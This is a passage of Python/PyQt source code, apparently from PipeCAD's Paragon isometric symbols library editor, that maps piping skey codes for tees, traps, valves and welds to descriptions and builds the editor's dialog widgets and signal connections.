legs\"]\n self.skeys_desc[\"TEGG\"] = [\"Tees\" , \"Ghost tee\"]\n self.skeys_desc[\"IT**\"] = [\"Tees\" , \"Instrument tee\"]\n self.skeys_desc[\"TORF\"] = [\"Tees\" , \"Offset tee (Reinforced set-on)\"]\n self.skeys_desc[\"TTSO\"] = [\"Tees\" , \"Offset tee (set-on)\"]\n self.skeys_desc[\"TPUL\"] = [\"Tees\" , \"Pulled out tee\"]\n self.skeys_desc[\"TERF\"] = [\"Tees\" , \"Reinforced Tee\"]\n self.skeys_desc[\"TESC\"] = [\"Tees\" , \"Screwed Fitting Tee\"]\n self.skeys_desc[\"TESO\"] = [\"Tees\" , \"Set On Tee\"]\n self.skeys_desc[\"TOSO\"] = [\"Tees\" , \"Set-on tangential tee\"]\n self.skeys_desc[\"TYSO\"] = [\"Tees\" , \"Set-on Y-type tee\"]\n self.skeys_desc[\"TSSW\"] = [\"Tees\" , \"Socket Weld Swept Tee\"]\n self.skeys_desc[\"TESW\"] = [\"Tees\" , \"Socket weld tee\"]\n self.skeys_desc[\"TSRF\"] = [\"Tees\" , \"Stub in reinforced tee\"]\n self.skeys_desc[\"TSSO\"] = [\"Tees\" , \"Stub in tee\"]\n self.skeys_desc[\"TTRF\"] = [\"Tees\" , \"Tangential tee (reinforced set-on)\"]\n self.skeys_desc[\"TE**\"] = [\"Tees\" , \"Tee\"]\n self.skeys_desc[\"TECL\"] = [\"Tees\" , \"Tee with clamped end connections\"]\n self.skeys_desc[\"TEBS\"] = [\"Tees\" , \"Tee with flanged ball/socket end connections\"]\n self.skeys_desc[\"TEGF\"] = [\"Tees\" , \"Tee with flanged gland-type end connections\"]\n self.skeys_desc[\"TEFA\"] = [\"Tees\" , \"Tee with flared end connections\"]\n self.skeys_desc[\"TEGL\"] = [\"Tees\" , \"Tee with glued end connections\"]\n self.skeys_desc[\"TEPF\"] = [\"Tees\" , \"Tee with push fit end connections\"]\n self.skeys_desc[\"TY**\"] = [\"Tees\" , \"Y-type tee\"]\n self.skeys_desc[\"YLRG\"] = [\"Tees\" , \"Y-type tee (Large)\"]\n self.skeys_desc[\"YMED\"] = [\"Tees\" , \"Y-type tee (Medium)\"]\n self.skeys_desc[\"YSML\"] = [\"Tees\" , \"Y-type tee (Small)\"]\n self.skeys_desc[\"TA\"] = [\"Traps\" , \"Angled Trap\"]\n self.skeys_desc[\"TI\"] = [\"Traps\" , \"In-line Trap\"]\n self.skeys_desc[\"TO\"] = [\"Traps\" , \"Offset Trap\"]\n self.skeys_desc[\"TR\"] = [\"Traps\" , \"Return Trap\"]\n self.skeys_desc[\"UNSW\"] = [\"Unions\" , \"Butt or Socket Weld Union\"]\n self.skeys_desc[\"UNSC\"] = [\"Unions\" , \"Screwed Fitting Union\"]\n self.skeys_desc[\"V3**\"] = [\"Valves\" , \"3-Way Valve\"]\n self.skeys_desc[\"V4**\"] = [\"Valves\" , \"4-Way Valve\"]\n self.skeys_desc[\"AV\"] = [\"Valves\" , \"Angled Valve\"]\n self.skeys_desc[\"AV**\"] = [\"Valves\" , \"Angled Valve\"]\n self.skeys_desc[\"VB\"] = [\"Valves\" , \"Ball Valve\"]\n self.skeys_desc[\"VV\"] = [\"Valves\" , \"Basic Valve\"]\n self.skeys_desc[\"CK\"] = [\"Valves\" , \"Check Valve\"]\n self.skeys_desc[\"CK**\"] = [\"Valves\" , \"Check valve (alternative)\"]\n self.skeys_desc[\"VK\"] = [\"Valves\" , \"Cock Valve\"]\n self.skeys_desc[\"VD\"] = [\"Valves\" , \"Diaphragm Valve\"]\n self.skeys_desc[\"VT\"] = [\"Valves\" , \"Gate Valve\"]\n self.skeys_desc[\"VG\"] = [\"Valves\" , \"Globe Valve\"]\n self.skeys_desc[\"VN\"] = [\"Valves\" , \"Needle Valve\"]\n self.skeys_desc[\"VP\"] = [\"Valves\" , \"Plug Valve\"]\n self.skeys_desc[\"AX**\"] = [\"Valves\" , \"Pressure reducing angle valve\"]\n self.skeys_desc[\"AR**\"] = [\"Valves\" , \"Relief/Vent angle valve\"]\n self.skeys_desc[\"VR**\"] = [\"Valves\" , \"Relief/Vent valve\"]\n self.skeys_desc[\"VS\"] = [\"Valves\" , \"Slide Valve\"]\n self.skeys_desc[\"WWA\"] = [\"Welds\" , \"Automatic workshop weld\"]\n self.skeys_desc[\"WMSD\"] = [\"Welds\" , \"Dotted Erection mitre weld\"]\n self.skeys_desc[\"WFD\"] = [\"Welds\" , \"Dotted field fit weld\"]\n self.skeys_desc[\"WMD\"] = [\"Welds\" , \"Dotted mitre weld\"]\n self.skeys_desc[\"WMOD\"] = [\"Welds\" , \"Dotted Offshore mitre weld\"]\n self.skeys_desc[\"WOD\"] = [\"Welds\" , \"Dotted offshore weld\"]\n self.skeys_desc[\"WSD\"] = [\"Welds\" , \"Dotted site weld\"]\n self.skeys_desc[\"WWD\"] = [\"Welds\" , \"Dotted Workshop Weld\"]\n self.skeys_desc[\"WMS\"] = [\"Welds\" , \"Erection mitre weld\"]\n self.skeys_desc[\"WSSR\"] = [\"Welds\" , \"Erection seal weld\"]\n self.skeys_desc[\"WOFD\"] = [\"Welds\" , \"Field fit offshore dotted\"]\n self.skeys_desc[\"WF\"] = [\"Welds\" , \"Field fit weld\"]\n self.skeys_desc[\"WFST\"] = [\"Welds\" , \"Field fit weld with shop test requirement\"]\n self.skeys_desc[\"WMFT\"] = [\"Welds\" , \"Mitre field fit tack weld\"]\n self.skeys_desc[\"WMF\"] = [\"Welds\" , \"Mitre field fit weld\"]\n self.skeys_desc[\"WMT\"] = [\"Welds\" , \"Mitre tack weld\"]\n self.skeys_desc[\"WM\"] = [\"Welds\" , \"Mitre weld\"]\n self.skeys_desc[\"WVST\"] = [\"Welds\" , \"Offshore field fit shop test weld\"]\n self.skeys_desc[\"WOF\"] = [\"Welds\" , \"Offshore field fit weld\"]\n self.skeys_desc[\"WMO\"] = [\"Welds\" , \"Offshore mitre weld\"]\n self.skeys_desc[\"WOSR\"] = [\"Welds\" , \"Offshore seal weld\"]\n self.skeys_desc[\"WOST\"] = [\"Welds\" , \"Offshore shop test weld\"]\n self.skeys_desc[\"WO\"] = [\"Welds\" , \"Offshore weld\"]\n self.skeys_desc[\"ZTR\"] = [\"Welds\" , \"Reinforced trunnion\"]\n self.skeys_desc[\"XXD\"] = [\"Welds\" , \"Site socket/screwed compression dotted weld\"]\n self.skeys_desc[\"XX\"] = [\"Welds\" , \"Site socket/screwed compression weld\"]\n self.skeys_desc[\"WS\"] = [\"Welds\" , \"Site Weld\"]\n self.skeys_desc[\"WSST\"] = [\"Welds\" , \"Site workshop test weld\"]\n self.skeys_desc[\"WSSP\"] = [\"Welds\" , \"Special site weld (non-spooling)\"]\n self.skeys_desc[\"ZSP*\"] = [\"Welds\" , \"Support weld\"]\n self.skeys_desc[\"WFT\"] = [\"Welds\" , \"Tack for field fit weld\"]\n self.skeys_desc[\"WOFT\"] = [\"Welds\" , \"Tack for offshore field fit weld\"]\n self.skeys_desc[\"WOT\"] = [\"Welds\" , \"Tack for offshore weld\"]\n self.skeys_desc[\"WST\"] = [\"Welds\" , \"Tack for site weld\"]\n self.skeys_desc[\"ZTN*\"] = [\"Welds\" , \"Trunnion weld\"]\n self.skeys_desc[\"WWST\"] = [\"Welds\" , \"Workshop shot test weld\"]\n self.skeys_desc[\"WW\"] = [\"Welds\" , \"Workshop Weld\"]\n\n self.setupUi()\n \n def setupUi( self ):\n self.setWindowTitle( QT_TRANSLATE_NOOP( \"Paragon\", \"PipeCAD - Iso Symbols Library\" ) )\n \n self.groupSkeys = QGroupBox( QT_TRANSLATE_NOOP( \"Paragon\", \"Skeys\" ) )\n self.vBoxLaySkeys = QVBoxLayout()\n self.groupSkeys.setLayout(self.vBoxLaySkeys) \n \n self.groupEditor = QGroupBox( QT_TRANSLATE_NOOP( \"Paragon\", \"Shape\" ) ) \n self.hBoxLayEditor = QHBoxLayout()\n self.groupEditor.setLayout(self.hBoxLayEditor)\n self.groupEditor.setMinimumSize( self.sheet_width + 140, self.sheet_height + 100 )\n \n self.groupProperties = QGroupBox( QT_TRANSLATE_NOOP( \"Paragon\", \"Properties\" ) ) \n self.gridProperties = QGridLayout()\n self.groupProperties.setLayout(self.gridProperties) \n \n self.groupPreview = QGroupBox( QT_TRANSLATE_NOOP( \"Paragon\", \"Preview\" ) ) \n self.vBoxLayPreview = QVBoxLayout()\n self.groupPreview.setLayout( self.vBoxLayPreview )\n \n self.txtSearch = QLineEdit( \"\" )\n self.txtSearch.setFixedSize( 470, 24 ) \n \n self.btnFilterClear = QPushButton( \"\" )\n self.btnFilterClear.setToolTip( QT_TRANSLATE_NOOP( \"Common\", \"Clear Filter\" ) )\n self.btnFilterClear.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/common/100x100_filter_clear.png' ) ) )\n self.btnFilterClear.setIconSize( QSize( 16, 16 ) )\n self.btnFilterClear.setMinimumSize( 24, 24 ) \n self.btnFilterClear.setMaximumSize( 24, 24 ) \n \n self.btnPlotSelectElement = QPushButton( \"\" )\n self.btnPlotSelectElement.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Select Element\" ) )\n self.btnPlotSelectElement.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/common/128x128_select_element.png' ) ) )\n self.btnPlotSelectElement.setIconSize( QSize( 36, 36 ) )\n self.btnPlotSelectElement.setMinimumSize( 36, 36 ) \n self.btnPlotSelectElement.setMaximumSize( 36, 36 ) \n \n self.btnPlotPointArrive = QPushButton( \"\" )\n self.btnPlotPointArrive.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Arrive Connection Point\" ) )\n self.btnPlotPointArrive.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_point_arrive.png' ) ) )\n self.btnPlotPointArrive.setIconSize( QSize( 36, 36 ) )\n self.btnPlotPointArrive.setMinimumSize( 36, 36 ) \n self.btnPlotPointArrive.setMaximumSize( 36, 36 ) \n \n self.btnPlotPointLeave = QPushButton( \"\" )\n self.btnPlotPointLeave.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Leave Connection Point\" ) )\n self.btnPlotPointLeave.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_point_leave.png' ) ) )\n self.btnPlotPointLeave.setIconSize( QSize( 36, 36 ) )\n self.btnPlotPointLeave.setMinimumSize( 36, 36 ) \n self.btnPlotPointLeave.setMaximumSize( 36, 36 ) \n \n self.btnPlotPointTee = QPushButton( \"\" )\n self.btnPlotPointTee.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Additional Connection Point\" ) )\n self.btnPlotPointTee.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_point_tee.png' ) ) )\n self.btnPlotPointTee.setIconSize( QSize( 36, 36 ) )\n self.btnPlotPointTee.setMinimumSize( 36, 36 ) \n self.btnPlotPointTee.setMaximumSize( 36, 36 ) \n \n self.btnPlotPointSpindle = QPushButton( \"\" )\n self.btnPlotPointSpindle.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Spindle Connection Point\" ) )\n self.btnPlotPointSpindle.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_point_spindle.png' ) ) )\n self.btnPlotPointSpindle.setIconSize( QSize( 36, 36 ) )\n self.btnPlotPointSpindle.setMinimumSize( 36, 36 ) \n self.btnPlotPointSpindle.setMaximumSize( 36, 36 ) \n \n self.btnPlotLine = QPushButton( \"\" )\n self.btnPlotLine.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Line\" ) )\n self.btnPlotLine.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_line.png' ) ) )\n self.btnPlotLine.setIconSize( QSize( 36, 36 ) )\n self.btnPlotLine.setMinimumSize( 36, 36 ) \n self.btnPlotLine.setMaximumSize( 36, 36 ) \n \n self.btnPlotRect = QPushButton( \"\" )\n self.btnPlotRect.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Rectangle\" ) )\n self.btnPlotRect.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_rectangle.png' ) ) )\n self.btnPlotRect.setIconSize( QSize( 36, 36 ) )\n self.btnPlotRect.setMinimumSize( 36, 36 ) \n self.btnPlotRect.setMaximumSize( 36, 36 ) \n \n self.btnPlotTriangle = QPushButton( \"\" )\n self.btnPlotTriangle.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Triangle\" ) )\n self.btnPlotTriangle.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_Triangle.png' ) ) )\n self.btnPlotTriangle.setIconSize( QSize( 36, 36 ) )\n self.btnPlotTriangle.setMinimumSize( 36, 36 ) \n self.btnPlotTriangle.setMaximumSize( 36, 36 ) \n \n self.btnPlotCap = QPushButton( \"\" )\n self.btnPlotCap.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Dish\" ) )\n self.btnPlotCap.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_cap.png' ) ) )\n self.btnPlotCap.setIconSize( QSize( 36, 36 ) )\n self.btnPlotCap.setMinimumSize( 36, 36 ) \n self.btnPlotCap.setMaximumSize( 36, 36 ) \n \n self.btnPlotHexagon = QPushButton( \"\" )\n self.btnPlotHexagon.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Hexagone\" ) )\n self.btnPlotHexagon.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/paragon/128x128_hexagon.png' ) ) )\n self.btnPlotHexagon.setIconSize( QSize( 36, 36 ) )\n self.btnPlotHexagon.setMinimumSize( 36, 36 ) \n self.btnPlotHexagon.setMaximumSize( 36, 36 ) \n \n self.btnClearSheet = QPushButton( \"\" )\n self.btnClearSheet.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Clear Sheet\" ) )\n #Clean icons created by Freepik - Flaticon\n self.btnClearSheet.setIcon( QIcon( os.path.join( self.iconsLibraryPath + '/common/128x128_clear_sheet.png' ) ) )\n self.btnClearSheet.setIconSize( QSize( 30, 30 ) )\n self.btnClearSheet.setMinimumSize( 36, 36 ) \n self.btnClearSheet.setMaximumSize( 36, 36 ) \n \n self.vBoxLayPlotButtons = QVBoxLayout()\n #self.vBoxLayPlotButtons.addWidget(self.btnPlotSelectElement)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotPointArrive)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotPointLeave)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotPointTee)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotPointSpindle)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotLine)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotRect)\n self.vBoxLayPlotButtons.addWidget(self.btnPlotTriangle)\n #self.vBoxLayPlotButtons.addWidget(self.btnPlotCap)\n #self.vBoxLayPlotButtons.addWidget(self.btnPlotHexagon)\n self.vBoxLayPlotButtons.addStretch()\n self.vBoxLayPlotButtons.addWidget(self.btnClearSheet)\n\n self.treeSkeys = QTreeWidget()\n self.treeSkeys.header().setVisible(False)\n self.treeSkeys.setUniformRowHeights(True)\n self.treeSkeys.setContextMenuPolicy(Qt.CustomContextMenu)\n #self.treeSkeys.customContextMenuRequested.connect(self.customContextMenuRequested)\n \n self.treeRoot = QTreeWidgetItem( self.treeSkeys )\n self.treeRoot.setText( 0, QT_TRANSLATE_NOOP( \"Paragon\", \"Components\" ) )\n self.treeRoot.setExpanded(True)\n\n self.treeSkeys.setMinimumSize( 500, 450 ) \n self.treeSkeys.setMaximumSize( 500, 450 ) \n \n self.btnImportFromASCII = QPushButton( QT_TRANSLATE_NOOP( \"Paragon\", \"Import from ASCII\" ) )\n self.btnImportFromASCII.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Import of Skeys from ASCII file ( Intergraph )\" ) )\n self.btnImportFromASCII.setMinimumSize( 248, 28 ) \n self.btnImportFromASCII.setMaximumSize( 248, 28 ) \n \n self.btnImportFromIDF = QPushButton( QT_TRANSLATE_NOOP( \"Paragon\", \"Import from IDF\" ) )\n self.btnImportFromIDF.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Import Skeys from IDF file ( AVEVA )\" ) )\n self.btnImportFromIDF.setMinimumSize( 248, 28 ) \n self.btnImportFromIDF.setMaximumSize( 248, 28 ) \n \n self.scene = SheetLayout( self )\n self.scene.setSceneRect( - 40, 0, self.sheet_width + 70, self.sheet_height )\n \n self.viewEditor = QGraphicsView( self.scene, self )\n self.viewEditor.setMouseTracking( True )\n self.viewEditor.setRenderHint( QPainter.Antialiasing )\n self.viewEditor.viewport().installEventFilter( self )\n \n self.lblSkey = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Skey\" ) )\n self.lblSkey.setMinimumSize( 100, 24 )\n self.lblSkey.setMaximumSize( 100, 24 )\n self.txtSkey = QLineEdit( \"\" )\n self.txtSkey.setMinimumSize( 250, 24 )\n self.txtSkey.setMaximumSize( 250, 24 ) \n \n self.lblSkeyGroup = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Group\" ) )\n self.cbSkeyGroup = QComboBox()\n self.cbSkeyGroup.setMinimumSize( 250, 24 )\n self.cbSkeyGroup.setMaximumSize( 250, 24 )\n self.cbSkeyGroup.setDuplicatesEnabled( False )\n \n self.cbSkeyGroup.addItem( \" \" ) \n \n self.lblSkeySubgroup = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Subgroup\" ) )\n self.cbSkeySubgroup = QComboBox()\n self.cbSkeySubgroup.setMinimumSize( 250, 24 )\n self.cbSkeySubgroup.setMaximumSize( 250, 24 )\n \n self.cbSkeySubgroup.addItem( \" \" ) \n \n self.lblSkeyDesc = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Description\" ) )\n self.txtSkeyDesc = QLineEdit( \"\" )\n self.txtSkeyDesc.setMinimumSize( 250, 24 )\n self.txtSkeyDesc.setMaximumSize( 250, 24 )\n \n self.lblSpindleSkey = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Spindle Skey\" ) )\n self.lblSpindleSkey.setWordWrap( True )\n self.cbSpindleSkey = QComboBox()\n self.cbSpindleSkey.setMinimumSize( 130, 24 )\n self.cbSpindleSkey.setMaximumSize( 130, 24 )\n self.cbSpindleSkey.setIconSize( QSize( 24, 24 ) )\n \n icon_SP01 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_01SP.png' ) )\n icon_SP02 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_02SP.png' ) )\n icon_SP03 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_03SP.png' ) )\n icon_SP04 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_04SP.png' ) )\n icon_SP05 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_05SP.png' ) )\n icon_SP06 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_06SP.png' ) )\n icon_SP07 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_07SP.png' ) )\n icon_SP08 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_08SP.png' ) )\n icon_SP09 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_09SP.png' ) )\n icon_SP10 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_10SP.png' ) )\n icon_SP11 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_11SP.png' ) )\n icon_SP12 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_12SP.png' ) )\n icon_SP13 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_13SP.png' ) )\n icon_SP14 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_14SP.png' ) )\n icon_SP15 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_15SP.png' ) )\n icon_SP16 = QIcon( os.path.join( self.iconsLibraryPath + '/paragon/spindles/128x128_16SP.png' ) )\n \n self.cbSpindleSkey.addItem( \" \" )\n self.cbSpindleSkey.addItem( icon_SP01, \"01SP\" )\n self.cbSpindleSkey.addItem( icon_SP02, \"02SP\" )\n self.cbSpindleSkey.addItem( icon_SP03, \"03SP\" )\n self.cbSpindleSkey.addItem( icon_SP04, \"04SP\" )\n self.cbSpindleSkey.addItem( icon_SP05, \"05SP\" )\n self.cbSpindleSkey.addItem( icon_SP06, \"06SP\" )\n self.cbSpindleSkey.addItem( icon_SP07, \"07SP\" )\n self.cbSpindleSkey.addItem( icon_SP08, \"08SP\" )\n self.cbSpindleSkey.addItem( icon_SP09, \"09SP\" )\n self.cbSpindleSkey.addItem( icon_SP10, \"10SP\" )\n self.cbSpindleSkey.addItem( icon_SP11, \"11SP\" )\n self.cbSpindleSkey.addItem( icon_SP12, \"12SP\" )\n self.cbSpindleSkey.addItem( icon_SP13, \"13SP\" )\n self.cbSpindleSkey.addItem( icon_SP14, \"14SP\" )\n self.cbSpindleSkey.addItem( icon_SP15, \"15SP\" )\n self.cbSpindleSkey.addItem( icon_SP16, \"16SP\" )\n \n self.btnSpindleSkeyRotateMinus = QPushButton( \"-\" )\n self.btnSpindleSkeyRotateMinus.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Hexagone\" ) )\n self.btnSpindleSkeyRotateMinus.setMinimumSize( 24, 24 ) \n self.btnSpindleSkeyRotateMinus.setMaximumSize( 24, 24 ) \n\n self.txtSpindleSkeyAngle = QLineEdit( \"0°\" )\n self.txtSpindleSkeyAngle.setAlignment( Qt.AlignCenter )\n self.txtSpindleSkeyAngle.setMinimumSize( 50, 24 )\n self.txtSpindleSkeyAngle.setMaximumSize( 50, 24 )\n\n self.btnSpindleSkeyRotatePlus = QPushButton( \"+\" )\n self.btnSpindleSkeyRotatePlus.setToolTip( QT_TRANSLATE_NOOP( \"Paragon\", \"Draw Hexagone\" ) )\n self.btnSpindleSkeyRotatePlus.setMinimumSize( 24, 24 ) \n self.btnSpindleSkeyRotatePlus.setMaximumSize( 24, 24 ) \n \n self.hBoxLaySpindle = QHBoxLayout()\n self.hBoxLaySpindle.addWidget( self.cbSpindleSkey ) \n self.hBoxLaySpindle.addStretch() \n #self.hBoxLaySpindle.addWidget( self.btnSpindleSkeyRotateMinus ) \n #self.hBoxLaySpindle.addWidget( self.txtSpindleSkeyAngle ) \n #self.hBoxLaySpindle.addWidget( self.btnSpindleSkeyRotatePlus ) \n \n self.lblScale = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Scale\" ) )\n self.txtScale = QLineEdit( \"\" )\n self.txtScale.setMinimumSize( 250, 24 )\n self.txtScale.setMaximumSize( 250, 24 )\n \n self.lblOrientation = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Orientation\" ) )\n self.cbOrientation = QComboBox()\n self.cbOrientation.setMinimumSize( 250, 24 )\n self.cbOrientation.setMaximumSize( 250, 24 )\n \n self.cbOrientation.addItem( QT_TRANSLATE_NOOP( \"Paragon\", \"Use on symmetrical component\" ) )\n self.cbOrientation.addItem( QT_TRANSLATE_NOOP( \"Paragon\", \"Use on non-symmetrical component\" ) )\n self.cbOrientation.addItem( QT_TRANSLATE_NOOP( \"Paragon\", \"Use on reducers\" ) )\n self.cbOrientation.addItem( QT_TRANSLATE_NOOP( \"Paragon\", \"Use on flanges\" ) )\n \n self.lblFlowArrow = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Flow Arrow\" ) )\n self.lblFlowArrow.setWordWrap( True )\n self.cbFlowArrow = QComboBox()\n self.cbFlowArrow.setMinimumSize( 250, 24 )\n self.cbFlowArrow.setMaximumSize( 250, 24 )\n \n self.cbFlowArrow.addItem( QT_TRANSLATE_NOOP( \"Common\", \"Default\" ) )\n self.cbFlowArrow.addItem( QT_TRANSLATE_NOOP( \"Common\", \"Off\" ) )\n self.cbFlowArrow.addItem( QT_TRANSLATE_NOOP( \"Common\", \"On\" ) )\n \n self.lblDimensioned = QLabel( QT_TRANSLATE_NOOP( \"Paragon\", \"Dimensioned\" ) )\n self.lblDimensioned.setWordWrap( True )\n self.cbDimensioned = QComboBox()\n self.cbDimensioned.setMinimumSize( 250, 24 )\n self.cbDimensioned.setMaximumSize( 250, 24 )\n \n self.cbDimensioned.addItem( QT_TRANSLATE_NOOP( \"Common\", \"Default\" ) )\n self.cbDimensioned.addItem( QT_TRANSLATE_NOOP( \"Common\", \"Off\" ) )\n self.cbDimensioned.addItem( QT_TRANSLATE_NOOP( \"Common\", \"On\" ) )\n \n self.scenePreview = QGraphicsScene( self )\n self.scenePreview.setSceneRect( 0, 0, 150, 170 )\n \n self.viewPreview = QGraphicsView( self.scenePreview, self )\n self.viewPreview.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.viewPreview.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.viewPreview.setRenderHint(QPainter.Antialiasing)\n\n self.vBoxLayPreview.addWidget( self.viewPreview )\n \n self.btnSave = QPushButton( QT_TRANSLATE_NOOP( \"Common\", \"Save Changes to Skey File\" ) )\n self.btnSave.setToolTip( QT_TRANSLATE_NOOP( \"Common\", \"Save Changes to Skey File\" ) )\n self.btnSave.setMinimumSize( 337, 24 ) \n self.btnSave.setMaximumSize( 337, 24 ) \n \n self.gridProperties.addWidget( self.lblSkey, 0, 0 )\n self.gridProperties.addWidget( self.txtSkey, 0, 1 )\n self.gridProperties.addWidget( self.lblSkeyGroup, 1, 0 )\n self.gridProperties.addWidget( self.cbSkeyGroup, 1, 1 )\n self.gridProperties.addWidget( self.lblSkeySubgroup, 2, 0 )\n self.gridProperties.addWidget( self.cbSkeySubgroup, 2, 1 )\n self.gridProperties.addWidget( self.lblSkeyDesc, 3, 0 )\n self.gridProperties.addWidget( self.txtSkeyDesc, 3, 1 )\n self.gridProperties.addWidget( self.lblSpindleSkey, 4, 0 )\n self.gridProperties.addLayout( self.hBoxLaySpindle, 4, 1 )\n self.gridProperties.addWidget( self.lblScale, 5, 0 )\n self.gridProperties.addWidget( self.txtScale, 5, 1 )\n self.gridProperties.addWidget( self.lblOrientation, 6, 0 )\n self.gridProperties.addWidget( self.cbOrientation, 6, 1 )\n self.gridProperties.addWidget( self.lblFlowArrow, 7, 0 )\n self.gridProperties.addWidget( self.cbFlowArrow, 7, 1 )\n self.gridProperties.addWidget( self.lblDimensioned, 8, 0 )\n self.gridProperties.addWidget( self.cbDimensioned, 8, 1 )\n #self.gridProperties.addWidget( self.groupPreview, 9, 0, 1, 2 )\n #self.gridProperties.addWidget( self.btnSave, 9, 0, 1, 2 )\n\n self.gridProperties.setRowStretch( self.gridProperties.rowCount(), 1)\n self.gridProperties.setColumnStretch( self.gridProperties.columnCount(), 1)\n \n self.hBoxLayFilter = QHBoxLayout()\n self.hBoxLayFilter.addWidget(self.txtSearch)\n self.hBoxLayFilter.addWidget(self.btnFilterClear)\n \n self.vBoxLaySkeys.addLayout(self.hBoxLayFilter)\n self.vBoxLaySkeys.addWidget(self.treeSkeys)\n \n self.hBoxLayImportButtons = QHBoxLayout()\n self.hBoxLayImportButtons.addWidget( self.btnImportFromASCII )\n self.hBoxLayImportButtons.addWidget( self.btnImportFromIDF )\n self.vBoxLaySkeys.addLayout( self.hBoxLayImportButtons )\n self.vBoxLaySkeys.addStretch()\n \n self.hBoxLayMain = QHBoxLayout( self )\n self.hBoxLayMain.addWidget(self.groupSkeys)\n self.hBoxLayMain.addWidget(self.groupEditor)\n self.hBoxLayMain.addWidget(self.groupProperties)\n \n #TODO: self.hBoxLayEditor.addLayout(self.vBoxLayPlotButtons)\n self.hBoxLayEditor.addWidget(self.viewEditor)\n self.hBoxLayEditor.addStretch()\n \n self.vBoxLayMain = QVBoxLayout( self )\n self.vBoxLayMain.addLayout(self.hBoxLayMain)\n \n self.treeSkeys.itemSelectionChanged.connect(self.currentSkeyChanged)\n self.btnImportFromASCII.clicked.connect(self.callImportSkeyFromASCII)\n self.btnImportFromIDF.clicked.connect(self.callImportSkeyFromIDF)\n \n self.cbSkeyGroup.currentTextChanged.connect(self.currentSkeyGroupChanged)\n self.txtSearch.textChanged.connect(self.callFilter)\n self.btnFilterClear.clicked.connect(self.callFilterClear)\n \n self.btnPlotSelectElement.clicked.connect(self.callDrawSelectElement)\n self.btnPlotPointArrive.clicked.connect(self.callDrawArrivePoint)\n self.btnPlotPointLeave.clicked.connect(self.callDrawLeavePoint)\n self.btnPlotPointTee.clicked.connect(self.callDrawTeePoint)\n self.btnPlotPointSpindle.clicked.connect(self.callDrawSpindlePoint)\n self.btnPlotLine.clicked.connect(self.callDrawLine)\n self.btnPlotRect.clicked.connect(self.callDrawRectangle)\n self.btnPlotTriangle.clicked.connect(self.callDrawTriangle)\n self.btnClearSheet.clicked.connect(self.callClearSheet)\n self.btnSpindleSkeyRotateMinus.clicked.connect(self.callSpindleAngleChangeMinus)\n self.btnSpindleSkeyRotatePlus.clicked.connect(self.callSpindleAngleChangePlus)\n self.btnSave.clicked.connect(self.callSave)\n \n self.scene.focusItemChanged.connect(self.focusItemChanged)\n \n self.groupPreview.setEnabled( False )\n self.btnPlotSelectElement.setEnabled( False )\n \n file_exists = os.path.isfile( self.symbol_file_json )\n if file_exists:\n self.callLoadFromJson()\n self.callLoadSkeyTree()\n #self.callReadSkeyASCIIFile()\n #self.callSaveToJson()\n \n def callSpindleAngleChangeMinus( self ):\n self.txtSpindleSkeyAngle.text = str( int( 